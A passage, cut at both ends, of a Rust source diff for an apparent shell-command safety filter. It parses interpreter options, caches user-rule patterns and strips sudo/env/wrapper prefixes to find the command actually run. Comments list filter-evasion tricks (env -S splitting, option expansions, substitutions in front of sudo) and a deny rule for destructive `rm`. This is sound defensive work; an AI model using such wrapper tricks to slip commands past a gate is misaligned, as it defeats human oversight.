rest), + None => (false, lower.as_str()), + }; + if STDIN_SHELL_OPTION_NAMES.contains(&lower.as_str()) { + return Some(if minus { + LetterOption::Stdin + } else { + LetterOption::Opaque + }); + } + if negated && STDIN_SHELL_OPTION_NAMES.contains(&stripped) { + return Some(LetterOption::Opaque); + } + if KNOWN_SHELL_OPTION_NAMES.contains(&lower.as_str()) + || (negated && KNOWN_SHELL_OPTION_NAMES.contains(&stripped)) + { + return None; + } + // Single letter, case kept (ksh93 option letters are case-sensitive). + let letter = if normalised.chars().count() == 1 { + normalised.as_str() + } else if negated && stripped.chars().count() == 1 { + &normalised[2..] + } else { + return Some(LetterOption::Opaque); + }; + let negated = letter.len() < normalised.len(); + let c = letter.chars().next()?; + let dangerous = |d: char| { + spec.code_operand.contains(d) + || spec.stdin_flag.contains(d) + || spec.code_value.contains(d) + || spec.script_value.contains(d) + || spec.value.contains(d) + || spec.next_word_value.contains(d) + || spec.attached_value.contains(d) + || spec.digit_value.contains(d) + }; + let folded = |d: char| dangerous(d.to_ascii_lowercase()) || dangerous(d.to_ascii_uppercase()); + if !dangerous(c) { + return folded(c).then_some(LetterOption::Opaque); + } + if negated || !minus { + return Some(LetterOption::Opaque); + } + if spec.code_operand.contains(c) { + Some(LetterOption::CodeOperand) + } else if spec.stdin_flag.contains(c) { + Some(LetterOption::Stdin) + } else { + Some(LetterOption::Opaque) + } +} + +fn analyse_options(spec: &OptionSpec, is_shell: bool, args: &[String]) -> ProgramSource { + let mut codes: Vec = Vec::new(); + let mut code_operand = false; + let mut stdin = false; + let mut script = false; + let mut i = 0usize; + + // Takes an option's value: the rest of the cluster if non-empty, else + // the next word. `None` if the value is missing. + let take_value = |attached: &str, i: &mut usize| -> Option { + if !attached.is_empty() { + return Some(attached.to_string()); + } + let value = args.get(*i).cloned(); + if value.is_some() { + *i += 1; + } + value + }; + + while i < args.len() { + let arg = args[i].as_str(); + i += 1; + if arg == "--" { + break; + } + if arg == "-" { + // A shell treats a lone `-` like `--`; an interpreter reads its + // program from stdin. + if !is_shell { + stdin = true; + } + break; + } + if let Some(long) = arg.strip_prefix("--") { + let (name, inline) = match long.split_once('=') { + Some((name, value)) => (name, Some(value.to_string())), + None => (long, None), + }; + let in_list = |list: &[&str]| list.contains(&name); + if in_list(spec.long_code) { + match inline.or_else(|| take_value("", &mut i)) { + Some(code) => codes.push(code), + None => return ProgramSource::Opaque, + } + } else if in_list(spec.long_script) || in_list(spec.long_value) { + script |= in_list(spec.long_script); + let value = inline.or_else(|| take_value("", &mut i)); + stdin |= value.is_some_and(|v| is_stdin_path(&v)); + } else if !in_list(spec.long_flag) { + return ProgramSource::Opaque; + } + continue; + } + let cluster = match arg.strip_prefix('-') { + Some(cluster) => cluster, + None => match arg.strip_prefix('+') { + Some(cluster) if spec.plus_options && !cluster.is_empty() => cluster, + // First operand: options end here. + _ => { + i -= 1; + break; + } + }, + }; + let minus = arg.starts_with('-'); + // Bytes of the cluster already consumed as a digit value. + let mut skip = 0usize; + for (pos, c) in cluster.char_indices() { + if skip > 0 { + skip -= c.len_utf8(); + continue; + } + let attached = &cluster[pos + c.len_utf8()..]; + if spec.code_operand.contains(c) { + code_operand = true; + } else if spec.stdin_flag.contains(c) && minus { + stdin = true; + } else if spec.code_value.contains(c) { + match take_value(attached, &mut i) { + Some(code) => codes.push(code), + None => return ProgramSource::Opaque, + } + break; + } else if spec.script_value.contains(c) || spec.value.contains(c) { + script |= spec.script_value.contains(c); + let value = take_value(attached, &mut i); + stdin |= value.as_deref().is_some_and(is_stdin_path); + if spec.letter_name_value.contains(c) { + match value.as_deref().and_then(|v| letter_option(spec, v, minus)) { + Some(LetterOption::CodeOperand) => code_operand = true, + Some(LetterOption::Stdin) => stdin = true, + Some(LetterOption::Opaque) => return ProgramSource::Opaque, + None => {} + } + } + break; + } else if spec.next_word_value.contains(c) { + stdin |= take_value("", &mut i).is_some_and(|v| is_stdin_path(&v)); + } else if spec.digit_value.contains(c) { + if c == '0' && attached.starts_with(['x', 'X']) { + return ProgramSource::Opaque; + } + let digits = attached.len() + - attached + .trim_start_matches(|d: char| d.is_ascii_digit()) + .len(); + skip = digits; + } else if spec.attached_value.contains(c) { + let dangerous = |d: char| { + spec.code_operand.contains(d) + || spec.code_value.contains(d) + || spec.stdin_flag.contains(d) + || spec.script_value.contains(d) + }; + if attached.contains(dangerous) { + return ProgramSource::Opaque; + } + stdin |= is_stdin_path(attached); + break; + } + } + } + + let rest = &args[i.min(args.len())..]; + if code_operand { + match rest.first() { + Some(code) => codes.push(code.clone()), + None if codes.is_empty() => return ProgramSource::Opaque, + None => {} + } + } + if !codes.is_empty() { + return ProgramSource::Code(codes); + } + // Conservative: any argument naming stdin counts, even one meant for + // the script (`bash x.sh /dev/stdin`) — that only costs a confirmation. + if stdin || rest.iter().any(|arg| is_stdin_path(arg)) { + return ProgramSource::Stdin; + } + if script || !rest.is_empty() { + ProgramSource::Operand + } else { + ProgramSource::Stdin + } +} diff --git a/crates/core/src/filter/pattern.rs b/crates/core/src/filter/pattern.rs index c41d94b59..ab53443c5 100644 --- a/crates/core/src/filter/pattern.rs +++ b/crates/core/src/filter/pattern.rs @@ -122,6 +122,11 @@ impl Pattern { /// Spec 0060 selbst ist außerdem explizit nur für die Filter-Engine- /// Regelauswertung (`crate::filter::engine`) gedacht, nicht für den /// Risiko-Klassifizierer. + /// + /// Outside tests these semantics come compiled from [`CompiledPattern`] + /// (risk patterns, hard blacklist, user rules); this uncompiled form is + /// the reference the tests compare it with. + #[cfg(test)] pub(crate) fn matches(&self, cmd: &str) -> bool { match self { Pattern::Exact(expected) => expected == cmd, @@ -186,38 +191,11 @@ impl Pattern { /// verstärkt) — schließt den spec-reviewer-Fund, dass ein bestehendes /// `Deny: rm /home/u/*` nach dem Fix `rm /home/u/sub/file` nicht mehr /// gedeckt hätte. + /// + /// Compiled once per pattern and thread ([`compiled_user_pattern`]), + /// not on every call. pub(crate) fn matches_for_user_rule(&self, cmd: &str, action: &RuleAction) -> bool { - match self { - Pattern::Glob(pattern) if is_path_shaped_pattern(pattern) => { - let strict_match = if path_shaped_tokens_contain_shell_metacharacters(cmd) { - false - } else { - // spec-reviewer-Fund: nur `cmd` zu normalisieren, nicht - // das MUSTER selbst, brach ein relatives Muster wie - // `./foo/*` (matchte `./foo/x` nicht mehr, weil `cmd` - // zu `foo/x` normalisiert wurde, das Muster aber - // `./foo/*` blieb) — und ließ einen Muster-Nachlaufslash - // (`/var/log/*/`) uneinheitlich zu `cmd`s entferntem - // Nachlaufslash stehen. Dieselbe Normalisierung auf - // beiden Seiten hält beide symmetrisch: `*`/`**` sind - // für `normalize_lexical_path` nur opake Segmente - // (weder `""`, `"."` noch `".."`), bleiben also - // unverändert erhalten. - let normalized_pattern = normalize_path_shaped_tokens(pattern); - let normalized_cmd = normalize_path_shaped_tokens(cmd); - GlobBuilder::new(&normalized_pattern) - .literal_separator(true) - .build() - .map(|glob| glob.compile_matcher().is_match(&normalized_cmd)) - .unwrap_or(false) - }; - match action { - RuleAction::Allow => strict_match, - RuleAction::Deny | RuleAction::Confirm => strict_match || self.matches(cmd), - } - } - _ => self.matches(cmd), - } + compiled_user_pattern(self).matches(cmd, action) } /// Rohes Musterliteral, unabhängig von der Variante — für Anzeigezwecke @@ -277,7 +255,7 @@ impl Pattern { /// im URL-Teil strenger — ein seltener, rein Kommando-Argument-Glob- /// spezifischer Fall, den „im Zweifel strenger" bewusst in Kauf nimmt /// (Sicherheit vor Bequemlichkeit). -fn is_path_shaped_pattern(pattern: &str) -> bool { +pub(super) fn is_path_shaped_pattern(pattern: &str) -> bool { pattern .split_whitespace() .any(|token| token.contains('/') && !token.contains("://")) @@ -322,7 +300,7 @@ fn is_path_shaped_pattern(pattern: &str) -> bool { /// übersprungen und einen `**`-Ausbruch ermöglicht (empirisch gegen die /// echte `FilterEngine` verifiziert). Ein Angreifer-kontrolliertes Token /// mit `/` wird deshalb immer normalisiert, unabhängig vom Inhalt. -fn normalize_path_shaped_tokens(cmd: &str) -> String { +pub(super) fn normalize_path_shaped_tokens(cmd: &str) -> String { cmd.split_whitespace() .map(|token| { if token.contains('/') { @@ -346,7 +324,7 @@ fn normalize_path_shaped_tokens(cmd: &str) -> String { /// gar nicht lexikalisch auflösbar), gilt „im Zweifel strenger": jedes /// dieser klassischen Shell-Metazeichen in einem pfadförmigen Token macht /// das Ergebnis der Normalisierung nicht mehr vertrauenswürdig. -fn path_shaped_tokens_contain_shell_metacharacters(cmd: &str) -> bool { +pub(super) fn path_shaped_tokens_contain_shell_metacharacters(cmd: &str) -> bool { const SHELL_METACHARACTERS: [char; 9] = ['\\', '\'', '"', '{', '}', '[', ']', '$', '`']; cmd.split_whitespace() .any(|token| token.contains('/') && token.contains(SHELL_METACHARACTERS.as_slice())) @@ -656,8 +634,8 @@ mod compile_failure_parity_tests { /// A [`Pattern`] compiled once, with exactly the semantics of /// [`Pattern::matches`]: an invalid glob/regex never matches (no panic). -/// Used for the fixed built-in risk patterns, which would otherwise be -/// recompiled on every call. +/// Used for the fixed built-in risk patterns and the hard blacklist, which +/// would otherwise be recompiled on every call. #[derive(Debug)] pub(crate) enum CompiledPattern { Exact(String), @@ -687,3 +665,72 @@ impl CompiledPattern { } } } + +/// A user rule's pattern compiled once, with exactly the semantics of +/// [`Pattern::matches_for_user_rule`]: the plain matcher, and for a +/// path-shaped glob also the strict one (Spec 0060). +struct CompiledUserPattern { + plain: CompiledPattern, + /// Only for a path-shaped glob: the strict matcher, `None` if it does + /// not compile (then it never matches). + strict: Option>, +} + +impl CompiledUserPattern { + fn new(pattern: &Pattern) -> Self { + let strict = match pattern { + Pattern::Glob(glob) if is_path_shaped_pattern(glob) => Some( + GlobBuilder::new(&normalize_path_shaped_tokens(glob)) + .literal_separator(true) + .build() + .ok() + .map(|glob| glob.compile_matcher()), + ), + _ => None, + }; + Self { + plain: CompiledPattern::new(pattern), + strict, + } + } + + fn matches(&self, cmd: &str, action: &RuleAction) -> bool { + let Some(strict) = &self.strict else { + return self.plain.matches(cmd); + }; + let strict_match = !path_shaped_tokens_contain_shell_metacharacters(cmd) + && strict + .as_ref() + .is_some_and(|glob| glob.is_match(normalize_path_shaped_tokens(cmd))); + match action { + RuleAction::Allow => strict_match, + RuleAction::Deny | RuleAction::Confirm => strict_match || self.plain.matches(cmd), + } + } +} + +/// Compiled user rule patterns, by content. A rule set is small; the cache +/// is emptied when it grows past [`MAX_COMPILED_USER_PATTERNS`] (edited +/// rules leave old entries behind). +const MAX_COMPILED_USER_PATTERNS: usize = 256; + +thread_local! { + static COMPILED_USER_PATTERNS: std::cell::RefCell< + std::collections::HashMap>, + > = Default::default(); +} + +fn compiled_user_pattern(pattern: &Pattern) -> std::rc::Rc { + COMPILED_USER_PATTERNS.with(|cache| { + if let Some(compiled) = cache.borrow().get(pattern) { + return compiled.clone(); + } + let compiled = std::rc::Rc::new(CompiledUserPattern::new(pattern)); + let mut cache = cache.borrow_mut(); + if cache.len() >= MAX_COMPILED_USER_PATTERNS { + cache.clear(); + } + cache.insert(pattern.clone(), compiled.clone()); + compiled + }) +} diff --git a/crates/core/src/filter/prefix_strip.rs b/crates/core/src/filter/prefix_strip.rs new file mode 100644 index 000000000..4e942ae6c --- /dev/null +++ b/crates/core/src/filter/prefix_strip.rs @@ -0,0 +1,679 @@ +//! Stripping `sudo`/`doas`, wrapper and assignment prefixes off a command +//! (Issue #1208), for `parser::resolve_effective_command`. + +use super::parser::{ + is_var_assignment, normalize_whitespace, resolve_effective_command, strip_substitutions_with, +}; +use super::prefix_words::{has_expansion, normalize_blanks, prefix_words, PrefixWord}; +use super::wrapper_options::{ + classify_option, passthrough_option_table, OptionWord, PASSTHROUGH_WRAPPERS, + WRAPPERS_WITH_ONE_POSITIONAL_ARG, +}; +use super::{ + classify_env_option, env_split_string, has_splitting_expansion, is_argument_assignment, + EnvOption, Strip, SudoOption, +}; +use std::collections::VecDeque; + +/// How many readings [`strip_prefix_readings`] returns at most. +const MAX_READINGS: usize = 8; + +/// Stands for a removed substitution in [`resolve_segment_command`]; a +/// private-use character, so it cannot clash with a real word. +pub(super) const SUBSTITUTION_WORD: &str = "\u{E000}"; + +/// [`resolve_effective_command`] of a raw segment. While wrappers are +/// stripped, each substitution stays part of its word, so in +/// `sudo -D $(…) rm` it is the option value and `rm` stays the command. +/// Afterwards substitutions are removed as in `parser::strip_substitutions`; +/// one at the start of a word in front of the command (`$(…)sudo rm`) is +/// dropped, as removing it would. +pub(super) fn resolve_segment_command(raw_segment: &str) -> String { + let (literal, _) = strip_substitutions_with(raw_segment, SUBSTITUTION_WORD); + let resolved = resolve_effective_command(&normalize_whitespace(&literal)); + normalize_whitespace(&resolved.replace(SUBSTITUTION_WORD, " ")) +} + +/// `normalized` without its `sudo`/`doas`, wrapper and assignment prefixes, +/// stripped one after the other until none is left. The words are read once +/// (`prefix_words`, also where a quote is not closed) and the prefixes +/// stripped by word, so a long chain (`env env … rm '`) takes linear time. +pub(super) fn strip_prefixes(normalized: &str) -> String { + read_prefixes(normalized, 0).main +} + +/// Like [`strip_prefixes`], the main reading first, followed by the readings +/// in which option words with an expansion (`sudo -"$X" /tmp reboot`, +/// `sudo $OPT …`, `sudo -k{,D} …`) or an ambiguous abbreviated option take a +/// value where the main reading takes none, or the other way round. Which +/// they do depends on the value of the expansion, so each reading is a +/// command the shell may run. +pub(super) fn strip_prefix_readings(normalized: &str) -> Vec { + let prefixes = read_prefixes(normalized, MAX_READINGS - 1); + std::iter::once(prefixes.main) + .chain(prefixes.others) + .collect() +} + +/// Whether an option word of a `sudo`/`doas` or wrapper prefix of +/// `normalized` contains an expansion, so the command behind it cannot be +/// told for sure (see [`strip_prefix_readings`]). +pub(super) fn prefix_option_expands(normalized: &str) -> bool { + read_prefixes(normalized, MAX_READINGS - 1).expands +} + +/// The word of the prefixes of `normalized` that may become other words, +/// the command among them: an `env`/`sudo` assignment whose expansion may +/// split (`env A=$x cmd`), an `env -S` value with escapes, or the text +/// behind more than `MAX_SPLITS` `env -S` values in a row. `None` if there +/// is none. +pub(super) fn unknown_prefix_word(normalized: &str) -> Option { + read_prefixes(normalized, 0).unknown +} + +/// How many `env -S` values in a row are split and read again; the command +/// behind more of them counts as unknown. +const MAX_SPLITS: usize = 16; + +/// Where the command starts after the prefixes: at a word of the command, +/// or, after `env -S`, in the text the split value gives (its prefixes not +/// stripped yet), or a command text of its own that `command_runners` reads +/// (a wrapper with a command string, `sudo -i` without a command). +#[derive(Clone, PartialEq, Eq)] +enum End { + At(usize), + Split(String), + Command(String), +} + +/// The prefixes of a command as [`read_prefixes`] reads them. +struct Prefixes { + /// The command in the main reading. + main: String, + /// The command in up to `MAX_READINGS - 1` further readings. + others: Vec, + /// Whether an option word has an expansion. + expands: bool, + /// See [`unknown_prefix_word`]. + unknown: Option, +} + +/// Reads the prefixes of `normalized`, with up to `budget` further +/// readings. The text an `env -S` value gives is queued and read like the +/// command itself, in a loop, not nested, at most `MAX_SPLITS` values deep; +/// all readings share the one budget. +fn read_prefixes(normalized: &str, mut budget: usize) -> Prefixes { + let mut prefixes = Prefixes { + main: String::new(), + others: Vec::new(), + expands: false, + unknown: None, + }; + let mut queue = VecDeque::from([(normalized.to_string(), 0, true)]); + while let Some((text, splits, is_main)) = queue.pop_front() { + let words = prefix_words(&text); + let mut readings = Readings::new(&text, &words, budget); + let mut ends = vec![(readings.command_start(0, None), is_main)]; + while let Some((i, head)) = readings.pending.pop_front() { + ends.push((readings.command_start(i, Some(&head)), false)); + } + budget = readings.budget; + prefixes.expands |= readings.expands; + if let Some(word) = readings.unknown.take() { + prefixes.unknown.get_or_insert(word); + } + for (end, is_main) in ends { + if let End::Split(split) = &end { + if splits < MAX_SPLITS { + queue.push_back((split.clone(), splits + 1, is_main)); + continue; + } + prefixes.unknown.get_or_insert_with(|| split.clone()); + } + let reading = match end { + // Past the cap the command is unknown; for Deny rules and the + // blacklist it is still read, on a stream of words. + End::Split(split) => { + let mut stream = WordStream::new(&split); + let main = stream.command(&mut budget); + while let Some(mut branch) = stream.branches.pop() { + let reading = branch.command(&mut budget); + stream.branches.append(&mut branch.branches); + if !prefixes.others.contains(&reading) { + prefixes.others.push(reading); + } + } + main + } + end => readings.rest(end), + }; + if is_main { + prefixes.main = reading; + } else if !prefixes.others.contains(&reading) { + prefixes.others.push(reading); + } + } + } + let main = prefixes.main.clone(); + prefixes.others.retain(|reading| *reading != main); + prefixes +} + +/// The words of a command read as one stream, the way the prefixes see +/// them: an `env -S` value is split and its words take its place in front +/// of the remaining ones, as `env` does it. Each value is read once, so a +/// long chain of them takes linear time. +#[derive(Clone)] +struct WordStream { + /// The words still to read, the next one last: text and whether it + /// has an expansion. + words: Vec<(String, bool)>, + /// The prefix whose options are being read: name, whether it takes + /// assignments, whether options may still follow. + head: Option<(String, bool, bool)>, + /// Further readings, as for [`Readings::branch`]. + branches: Vec, + /// How many more bytes of split values may be read as words. + lex_budget: usize, +} + +impl WordStream { + fn new(text: &str) -> Self { + let mut stream = Self { + words: Vec::new(), + head: None, + branches: Vec::new(), + lex_budget: 2 * text.len(), + }; + stream.push_text(text); + stream + } + + /// Puts the words `env -S VALUE` runs with in front of the stream, and + /// whether it could. A value without blanks, quotes, escapes or a + /// leading `#` is one word as it is, as `prefix_words` would read it; + /// any other is read with `prefix_words`, within `lex_budget`. So a + /// chain of values glued into one word (`-S-S-S…`) takes linear time. + fn push_split(&mut self, value: String) -> bool { + if !value.contains([' ', '\t', '\n', '\'', '"', '\\']) && !value.starts_with('#') { + // `env -S ''` adds no word. + if !value.is_empty() { + let expands = has_expansion(&value); + self.words.push((value, expands)); + } + self.words.push(("env".to_string(), false)); + return true; + } + if value.len() > self.lex_budget { + self.words.push((value, true)); + return false; + } + self.lex_budget -= value.len(); + // The split text starts with `env` again. + let (Strip::Rest(split) | Strip::Expanding { rest: split, .. }) = + env_split_string(&value, ""); + self.push_text(&split); + true + } + + fn push_text(&mut self, text: &str) { + let words = prefix_words(text); + self.words.extend( + words + .into_iter() + .rev() + .map(|word| (word.text, word.expands)), + ); + } + + /// A further reading in which the next `skip` words are dropped and the + /// options of the current prefix go on, while `budget` lasts. + fn branch(&mut self, skip: usize, budget: &mut usize) { + if *budget > 0 { + *budget -= 1; + let mut other = Self { + words: self.words.clone(), + head: self.head.clone(), + branches: Vec::new(), + lex_budget: self.lex_budget, + }; + other.words.truncate(other.words.len().saturating_sub(skip)); + self.branches.push(other); + } + } + + /// The command behind the prefixes, as [`Readings::command_start`] + /// finds it in the main reading. + fn command(&mut self, budget: &mut usize) -> String { + loop { + let Some((head, mut assignments, mut options)) = self.head.take() else { + let Some((first, expands)) = self.words.pop() else { + break; + }; + let word = first.trim_start_matches(SUBSTITUTION_WORD); + if word.is_empty() || is_var_assignment(word) { + continue; + } + let head = word.rsplit('/').next().unwrap_or(word).to_ascii_lowercase(); + if !(head == "sudo" + || head == "doas" + || PASSTHROUGH_WRAPPERS.contains(&head.as_str())) + { + self.words.push((first, expands)); + break; + } + let assignments = head == "env" || head == "sudo"; + self.head = Some((head, assignments, true)); + continue; + }; + while let Some((word, expands)) = self.words.last().cloned() { + let text = word.trim_start_matches(SUBSTITUTION_WORD); + let is_option = options && text.starts_with('-'); + if is_option && head == "env" && !expands { + if let Some(value) = glued_split_value(text) { + // `env -S-S…VALUE` runs as `env VALUE`. + let value = value.to_string(); + self.words.pop(); + if !value.is_empty() { + self.words.push((value, false)); + } + (assignments, options) = (true, true); + continue; + } + } + if !is_option && assignments && is_argument_assignment(&head, text) { + self.words.pop(); + options &= head == "sudo"; + continue; + } + let takes = is_option && takes_value(&head, text); + let may_change = expands + && (is_option + || text.starts_with(['$', '`', '*', '?', '[', '{']) + || text.starts_with(SUBSTITUTION_WORD)); + if may_change || (is_option && ambiguous(&head, text)) { + self.head = Some((head.clone(), assignments, options)); + if is_option { + self.branch(1 + usize::from(!takes), budget); + } else { + self.branch(1, budget); + self.branch(2, budget); + } + self.head = None; + } + if !is_option { + break; + } + self.words.pop(); + if head == "env" { + if let EnvOption::SplitString(attached) = classify_env_option(text) { + let value = attached + .or_else(|| self.words.pop().map(|(word, _)| word)) + .unwrap_or_default(); + if !self.push_split(value) { + // Past the budget the rest stays as it is. + return self.text(); + } + break; + } + } + match classify(&head, text) { + SudoOption::EndOfOptions => { + options = false; + assignments &= head == "env"; + } + SudoOption::Complete => {} + SudoOption::TakesNext => { + self.words.pop(); + } + } + } + if WRAPPERS_WITH_ONE_POSITIONAL_ARG.contains(&head.as_str()) { + self.words.pop(); + } + } + self.text() + } + + /// The words still to read, as text. + fn text(&self) -> String { + let words = self.words.iter().rev().map(|(word, _)| word.as_str()); + words.collect::>().join(" ") + } +} + +/// The value an `env` option word ends in when it starts a chain of `-S` +/// values glued into one word (`-S-S…-Scmd`, `-vS-iSFOO=1`): `env -SVALUE` +/// with a value without blanks, quotes, escapes, expansions or a leading +/// `#` runs as `env VALUE`, so the whole chain is read in one pass. `None` +/// if the word is no such option. +fn glued_split_value(word: &str) -> Option<&str> { + if word.contains([' ', '\t', '\n', '\'', '"', '\\']) || has_expansion(word) { + return None; + } + let mut found = None; + let mut text = word; + loop { + let value = if let Some(long) = text.strip_prefix("--") { + let Some(eq) = long.find('=') else { break }; + match classify_env_option(&text[..eq + 3]) { + EnvOption::SplitString(_) => &long[eq + 1..], + EnvOption::Plain(_) => break, + } + } else if let Some(letters) = text.strip_prefix('-') { + let Some(pos) = letters.find(|c| "CLPSUau".contains(c)) else { + break; + }; + match letters[pos..].strip_prefix('S') { + Some(value) if !value.is_empty() => value, + _ => break, + } + } else { + break; + }; + if value.starts_with('#') { + break; + } + found = Some(value); + text = value; + } + found +} + +/// What the word a prefix may start at is. +enum Prefix { + /// An assignment or a command substitution: one word. + Word, + /// `sudo`/`doas` or a wrapper (lower-cased basename), with options. + Command(String), +} + +/// Walks the prefixes of a command. Each option word with an expansion adds +/// its other readings to `pending` (where the options of `head` go on), as +/// long as `budget` lasts. +struct Readings<'a> { + cmd: &'a str, + words: &'a [PrefixWord], + pending: VecDeque<(usize, String)>, + budget: usize, + expands: bool, + unknown: Option, +} + +impl<'a> Readings<'a> { + fn new(cmd: &'a str, words: &'a [PrefixWord], budget: usize) -> Self { + Self { + cmd, + words, + pending: VecDeque::new(), + budget, + expands: false, + unknown: None, + } + } + + /// The text of the command from `end` on; `cmd` itself when no prefix + /// was stripped. + fn rest(&self, end: End) -> String { + match end { + End::At(0) => self.cmd.to_string(), + End::At(i) => self.words.get(i).map_or_else(String::new, |word| { + normalize_blanks(&self.cmd[word.start..]) + }), + End::Split(text) | End::Command(text) => text, + } + } + + /// Adds a further reading in which the options of `head` go on at word + /// `i`, while the budget lasts. + fn branch(&mut self, i: usize, head: &str) { + if self.budget > 0 { + self.budget -= 1; + self.pending + .push_back((i.min(self.words.len()), head.to_string())); + } + } + + /// Where the command starts, from word `i` on; with `head`, `i` is + /// within the options of that prefix. + fn command_start(&mut self, mut i: usize, head: Option<&str>) -> End { + if let Some(head) = head { + match self.options_end(i, head) { + End::At(end) => i = end, + text => return text, + } + } + while let Some(prefix) = self.prefix_at(i) { + i += 1; + if let Prefix::Command(head) = prefix { + match self.options_end(i, &head) { + End::At(end) => i = end, + text => return text, + } + } + } + End::At(i) + } + + fn prefix_at(&self, i: usize) -> Option { + let first = self.words.get(i)?; + // A command substitution as the whole first word (`$(true) sudo …`) + // is dropped like an assignment, as the substitution-free view of + // the segment drops it; so is one in front of the word. + let raw_head = &self.cmd[first.start..first.end]; + let is_substitution = (raw_head.starts_with("$(") && raw_head.ends_with(')')) + || (raw_head.len() > 1 && raw_head.starts_with('`') && raw_head.ends_with('`')); + let head = first.text.trim_start_matches(SUBSTITUTION_WORD); + if is_var_assignment(raw_head) || is_substitution || head.is_empty() { + return Some(Prefix::Word); + } + // Issue #13: wrappers are recognised by their lower-cased basename, + // so `/usr/bin/env rm`, `SUDO rm` or `Env rm` (case-insensitive file + // systems) are unwrapped like `env rm`. The result only feeds Deny/ + // Confirm rules, the hard blacklist and the risk classifier (never an + // Allow rule, see `engine::evaluate_rules_explained`), so recognising + // more wrappers can only escalate. + let head = head.rsplit('/').next().unwrap_or(head).to_ascii_lowercase(); + (head == "sudo" || head == "doas" || PASSTHROUGH_WRAPPERS.contains(&head.as_str())) + .then_some(Prefix::Command(head)) + } + + /// Where the options of the prefix `head` that start at word `i` end, + /// with its positional argument, in the main reading. An option word + /// with an expansion is read as an option that takes a value or not, + /// and a word that starts with one (`$OPT`) also as such an option. + /// `env` and `sudo` take every argument with a `=` as an assignment, + /// `env` after its options, `sudo` also between them (not after `--`). + fn options_end(&mut self, mut i: usize, head: &str) -> End { + let len = self.words.len(); + let mut assignments = head == "env" || head == "sudo"; + let mut options = true; + let mut login_shell = false; + while let Some(word) = self.words.get(i) { + // A substitution in front of an option (`$(…)-D`) may expand to + // nothing; read the rest as the option. + let text = word.text.trim_start_matches(SUBSTITUTION_WORD); + let raw = &self.cmd[word.start..word.end]; + let is_option = options && text.starts_with('-'); + if !is_option && assignments && is_argument_assignment(head, text) { + i += 1; + options &= head == "sudo"; + if has_splitting_expansion(raw) { + self.unknown.get_or_insert_with(|| raw.to_string()); + } + continue; + } + if is_option && super::command_runners::wrapper_code_option(head, text) { + return self.code_runner(head, word.start); + } + login_shell |= is_option && super::command_runners::starts_shell(head, text); + let takes = is_option && takes_value(head, text); + if option_may_change(self.cmd, word) || (is_option && ambiguous(head, text)) { + self.expands |= option_may_change(self.cmd, word); + if is_option { + self.branch(i + 1 + usize::from(!takes), head); + } else { + self.branch(i + 1, head); + self.branch(i + 2, head); + } + } + if !is_option { + // `runuser USER -c CMD`, `script FILE -c CMD`: options may + // also follow the operands. + if let Some(start) = self.later_code_option(i, head) { + return self.code_runner(head, start); + } + break; + } + i += 1; + if head == "env" { + if let EnvOption::SplitString(attached) = classify_env_option(text) { + return self.env_split(i, attached); + } + } + match classify(head, text) { + SudoOption::EndOfOptions => { + options = false; + assignments &= head == "env"; + } + SudoOption::Complete => {} + SudoOption::TakesNext => i = (i + 1).min(len), + } + } + if login_shell && i >= len { + // `sudo -i`/`sudo -s` without a command: a shell that reads its + // commands from stdin, read by `command_runners`. + return End::Command(format!("{head} -s")); + } + let shell_without_command = super::command_runners::SHELL_WITHOUT_COMMAND.contains(&head); + if WRAPPERS_WITH_ONE_POSITIONAL_ARG.contains(&head) && i < len { + i += 1; + if shell_without_command && i >= len { + return End::Command(format!("{head} -s")); + } + // `flock FILE -c CMD` + if let Some(word) = self.words.get(i) { + if super::command_runners::wrapper_code_option(head, &word.text) { + return self.code_runner(head, word.start); + } + } + } + if shell_without_command && i >= len && !WRAPPERS_WITH_ONE_POSITIONAL_ARG.contains(&head) { + return End::Command(format!("{head} -s")); + } + End::At(i) + } + + /// Where (byte) the words from `i` on start if a code option of the + /// wrapper `head` follows among them and `head` reads its options after + /// its operands: `runuser` (not with `-u USER`, which runs the words after + /// it; after `--`, the words go to the user's shell, whose `-c` runs a + /// command as well) and `script` (before `--`). + fn later_code_option(&self, i: usize, head: &str) -> Option { + let names_user = |word: &PrefixWord| super::command_runners::runuser_names_user(&word.text); + if !matches!(head, "runuser" | "script") + || (head == "runuser" && self.words[..i].iter().any(names_user)) + { + return None; + } + let rest = self.words.get(i..)?; + let mut options = true; + for word in rest { + if word.text == "--" { + options = head == "runuser"; + } else if options && super::command_runners::wrapper_code_option(head, &word.text) { + return rest.first().map(|word| word.start); + } + } + None + } + + /// The wrapper `head` with the option at byte `start` that gives it a + /// command string, and the words after it: the wrapper runs that string, + /// so it stays the command, read by `command_runners`. + fn code_runner(&self, head: &str, start: usize) -> End { + End::Command(format!("{head} {}", normalize_blanks(&self.cmd[start..]))) + } + + /// `env -S VALUE REST…` after the option word, with the value attached + /// or the word at `i`: the split value takes the option's place, and + /// [`read_prefixes`] reads the resulting text again. + fn env_split(&mut self, i: usize, attached: Option) -> End { + let next = i + usize::from(attached.is_none()); + let value = attached + .or_else(|| self.words.get(i).map(|word| word.text.clone())) + .unwrap_or_default(); + let rest = self + .words + .get(next) + .map_or("", |word| &self.cmd[word.start..]); + let text = match env_split_string(&value, rest) { + Strip::Rest(text) => text, + Strip::Expanding { word, rest } => { + self.unknown.get_or_insert(word); + rest + } + }; + End::Split(text) + } +} + +/// Whether the shell may turn `word` into another option, or into one at +/// all: an option word with an expansion in it (`-"$X"`, `-k$X`, `-k{,D}`, +/// `-*`), or a word that starts with one (`$OPT`, `"$(…)"`, `*`). +/// `FOO=$x` stays what it is. +pub(super) fn option_may_change(cmd: &str, word: &PrefixWord) -> bool { + let raw = cmd[word.start..word.end].trim_start_matches('"'); + word.expands + && (word.text.starts_with('-') + || raw.starts_with(['$', '`', '*', '?', '[', '{']) + || raw.starts_with(SUBSTITUTION_WORD)) +} + +/// How the option `flag` of the prefix `head` continues. Issue #1208: the +/// same option tables as the `sftp-server` word check in `crate::risk`. +fn classify(head: &str, flag: &str) -> SudoOption { + match head { + "sudo" | "doas" => super::classify_sudo_option(head, flag), + "env" => match classify_env_option(flag) { + EnvOption::Plain(option) => option, + EnvOption::SplitString(_) => SudoOption::TakesNext, + }, + _ => match passthrough_option_table(head).map(|table| classify_option(table, flag)) { + Some(OptionWord::EndOfOptions) => SudoOption::EndOfOptions, + Some(OptionWord::TakesNext) => SudoOption::TakesNext, + Some(OptionWord::Complete | OptionWord::Unknown) => SudoOption::Complete, + None if super::wrapper_option_takes_value(head, flag) => SudoOption::TakesNext, + None => SudoOption::Complete, + }, + } +} + +/// Whether the option `flag` of the prefix `head` takes the next word as its +/// value. +fn takes_value(head: &str, flag: &str) -> bool { + classify(head, flag) == 